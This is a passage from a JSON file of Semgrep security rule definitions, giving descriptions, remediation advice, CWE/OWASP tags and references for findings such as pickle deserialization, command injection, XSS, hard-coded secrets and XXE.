[https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django","id":"python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django","name":"python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected RC2 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected RC2 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2)\n - [https://cwe.mitre.org/data/definitions/326.html](https://cwe.mitre.org/data/definitions/326.html)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected RC2 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2","id":"python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2","name":"python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"help":{"markdown":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.command.subprocess-injection.subprocess-injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.command.subprocess-injection.subprocess-injection","id":"python.django.security.injection.command.subprocess-injection.subprocess-injection","name":"python.django.security.injection.command.subprocess-injection.subprocess-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.command.subprocess-injection.subprocess-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `html/template` package which will safely render HTML instead, or inspect that the HTML is rendered safely."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `html/template` package which will safely render HTML instead, or inspect that the HTML is rendered safely.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.raw-html-format.raw-html-format)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `html/template` package which will safely render HTML instead, or inspect that the HTML is rendered safely."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.raw-html-format.raw-html-format","id":"go.lang.security.injection.raw-html-format.raw-html-format","name":"go.lang.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected asyncio subprocess function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected asyncio subprocess function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell)\n - [https://docs.python.org/3/library/asyncio-subprocess.html](https://docs.python.org/3/library/asyncio-subprocess.html)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected asyncio subprocess function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell","id":"python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell","name":"python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-asyncio-shell.dangerous-asyncio-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","id":"javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","name":"javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.headers.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Validating certificates based on subject name is bad practice. Use the X509Certificate2.Verify() method instead."},"help":{"markdown":"Validating certificates based on subject name is bad practice. Use the X509Certificate2.Verify() method instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.issuernameregistry?view=netframework-4.8](https://docs.microsoft.com/en-us/dotnet/api/system.identitymodel.tokens.issuernameregistry?view=netframework-4.8)\n","text":"Validating certificates based on subject name is bad practice. Use the X509Certificate2.Verify() method instead."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation","id":"csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation","name":"csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.cryptography.x509-subject-name-validation.X509-subject-name-validation"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"When running containers in Kubernetes, it's important to ensure that they  are properly secured to prevent privilege escalation attacks.  One potential vulnerability is when a container is allowed to run  applications as the root user, which could allow an attacker to gain  access to sensitive resources. To mitigate this risk, it's recommended to  add a `securityContext` to the container, with the parameter `runAsNonRoot`  set to `true`. This will ensure that the container runs as a non-root user,  limiting the damage that could be caused by any potential attacks. By  adding a `securityContext` to the container in your Kubernetes pod, you can  help to ensure that your containerized applications are more secure and  less vulnerable to privilege escalation attacks."},"help":{"markdown":"When running containers in Kubernetes, it's important to ensure that they  are properly secured to prevent privilege escalation attacks.  One potential vulnerability is when a container is allowed to run  applications as the root user, which could allow an attacker to gain  access to sensitive resources. To mitigate this risk, it's recommended to  add a `securityContext` to the container, with the parameter `runAsNonRoot`  set to `true`. This will ensure that the container runs as a non-root user,  limiting the damage that could be caused by any potential attacks. By  adding a `securityContext` to the container in your Kubernetes pod, you can  help to ensure that your containerized applications are more secure and  less vulnerable to privilege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.run-as-non-root.run-as-non-root)\n - [https://kubernetes.io/blog/2016/08/security-best-practices-kubernetes-deployment/](https://kubernetes.io/blog/2016/08/security-best-practices-kubernetes-deployment/)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-2-set-a-user](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-2-set-a-user)\n","text":"When running containers in Kubernetes, it's important to ensure that they  are properly secured to prevent privilege escalation attacks.  One potential vulnerability is when a container is allowed to run  applications as the root user, which could allow an attacker to gain  access to sensitive resources. To mitigate this risk, it's recommended to  add a `securityContext` to the container, with the parameter `runAsNonRoot`  set to `true`. This will ensure that the container runs as a non-root user,  limiting the damage that could be caused by any potential attacks. By  adding a `securityContext` to the container in your Kubernetes pod, you can  help to ensure that your containerized applications are more secure and  less vulnerable to privilege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.run-as-non-root.run-as-non-root","id":"yaml.kubernetes.security.run-as-non-root.run-as-non-root","name":"yaml.kubernetes.security.run-as-non-root.run-as-non-root","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.run-as-non-root.run-as-non-root"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of 'ondoctype' in 'sax' library detected. By default, 'sax' won't do anything with custom DTD entity definitions. If you're implementing a custom DTD entity definition, be sure not to introduce XML External Entity (XXE) vulnerabilities, or be absolutely sure that external entities received from a trusted source while processing XML."},"help":{"markdown":"Use of 'ondoctype' in 'sax' library detected. By default, 'sax' won't do anything with custom DTD entity definitions. If you're implementing a custom DTD entity definition, be sure not to introduce XML External Entity (XXE) vulnerabilities, or be absolutely sure that external entities received from a trusted source while processing XML.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.sax.security.audit.sax-xxe.sax-xxe)\n - [https://github.com/Leonidas-from-XIV/node-xml2js/issues/415](https://github.com/Leonidas-from-XIV/node-xml2js/issues/415)\n - [https://github.com/isaacs/sax-js](https://github.com/isaacs/sax-js)\n","text":"Use of 'ondoctype' in 'sax' library detected. By default, 'sax' won't do anything with custom DTD entity definitions. If you're implementing a custom DTD entity definition, be sure not to introduce XML External Entity (XXE) vulnerabilities, or be absolutely sure that external entities received from a trusted source while processing XML."},"helpUri":"https://semgrep.dev/r/javascript.sax.security.audit.sax-xxe.sax-xxe","id":"javascript.sax.security.audit.sax-xxe.sax-xxe","name":"javascript.sax.security.audit.sax-xxe.sax-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.sax.security.audit.sax-xxe.sax-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask","id":"python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask","name":"python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-numpy-pickle-flask.tainted-numpy-pickle-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href","id":"typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href","name":"typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-create-element-href.react-nextjs-router-create-element-href"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for disabling of TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"help":{"markdown":"Checks for disabling of TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification)\n - [https://stackoverflow.com/questions/12122159/how-to-do-a-https-request-with-bad-certificate](https://stackoverflow.com/questions/12122159/how-to-do-a-https-request-with-bad-certificate)\n","text":"Checks for disabling of TLS/SSL certificate verification. This should only be used for debugging purposes because it leads to vulnerability to MTM attacks."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification","id":"problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification","name":"problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.bypass-tls-verification.bypass-tls-verification"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"help":{"markdown":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-data-exfiltration.express-data-exfiltration)\n - [https://en.wikipedia.org/wiki/Mass_assignment_vulnerability](https://en.wikipedia.org/wiki/Mass_assignment_vulnerability)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n","text":"Depending on the context, user control data in `Object.assign` can cause web response to include data that it should not have or can lead to a mass assignment vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-data-exfiltration.express-data-exfiltration","id":"javascript.express.security.express-data-exfiltration.express-data-exfiltration","name":"javascript.express.security.express-data-exfiltration.express-data-exfiltration","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-data-exfiltration.express-data-exfiltration"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside Exec. Audit the input to 'syscall.Exec'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside Exec. Audit the input to 'syscall.Exec'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside Exec. Audit the input to 'syscall.Exec'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec","id":"go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec","name":"go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-syscall-exec.dangerous-syscall-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found usage of the `$FLAVOR` library, which is vulnerable to attacks such as XML external entity (XXE) attacks"},"help":{"markdown":"Found usage of the `$FLAVOR` library, which is vulnerable to attacks such as XML external entity (XXE) attacks\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.lxml-in-pandas.lxml-in-pandas)\n - [https://lxml.de/FAQ.html](https://lxml.de/FAQ.html)\n","text":"Found usage of the `$FLAVOR` library, which is vulnerable to attacks such as XML external entity (XXE) attacks"},"helpUri":"https://semgrep.dev/r/trailofbits.python.lxml-in-pandas.lxml-in-pandas","id":"trailofbits.python.lxml-in-pandas.lxml-in-pandas","name":"trailofbits.python.lxml-in-pandas.lxml-in-pandas","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.lxml-in-pandas.lxml-in-pandas"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When working with web applications that involve rendering user-generated  content, it's important to properly escape any HTML content to prevent  Cross-Site Scripting (XSS) attacks. In Go, the `text/template` package does  not automatically escape HTML content, which can leave your application  vulnerable to these types of attacks. To mitigate this risk, it's  recommended to use the `html/template` package instead, which provides  built-in functionality for HTML escaping. By using `html/template` to render  your HTML content, you can help to ensure that your web application is more  secure and less susceptible to XSS vulnerabilities."},"help":{"markdown":"When working with web applications that involve rendering user-generated  content, it's important to properly escape any HTML content to prevent  Cross-Site Scripting (XSS) attacks. In Go, the `text/template` package does  not automatically escape HTML content, which can leave your application  vulnerable to these types of attacks. To mitigate this risk, it's  recommended to use the `html/template` package instead, which provides  built-in functionality for HTML escaping. By using `html/template` to render  your HTML content, you can help to ensure that your web application is more  secure and less susceptible to XSS vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.import-text-template.import-text-template)\n - [https://www.veracode.com/blog/secure-development/use-golang-these-mistakes-could-compromise-your-apps-security](https://www.veracode.com/blog/secure-development/use-golang-these-mistakes-could-compromise-your-apps-security)\n","text":"When working with web applications that involve rendering user-generated  content, it's important to properly escape any HTML content to prevent  Cross-Site Scripting (XSS) attacks. In Go, the `text/template` package does  not automatically escape HTML content, which can leave your application  vulnerable to these types of attacks. To mitigate this risk, it's  recommended to use the `html/template` package instead, which provides  built-in functionality for HTML escaping. By using `html/template` to render  your HTML content, you can help to ensure that your web application is more  secure and less susceptible to XSS vulnerabilities."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.import-text-template.import-text-template","id":"go.lang.security.audit.xss.import-text-template.import-text-template","name":"go.lang.security.audit.xss.import-text-template.import-text-template","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.import-text-template.import-text-template"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","id":"kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","name":"kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.properties.properties-hardcoded-secret.properties-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Athena Workgroup is unencrypted. Encryption protects query results in your workgroup. To enable, add: `encryption_configuration { 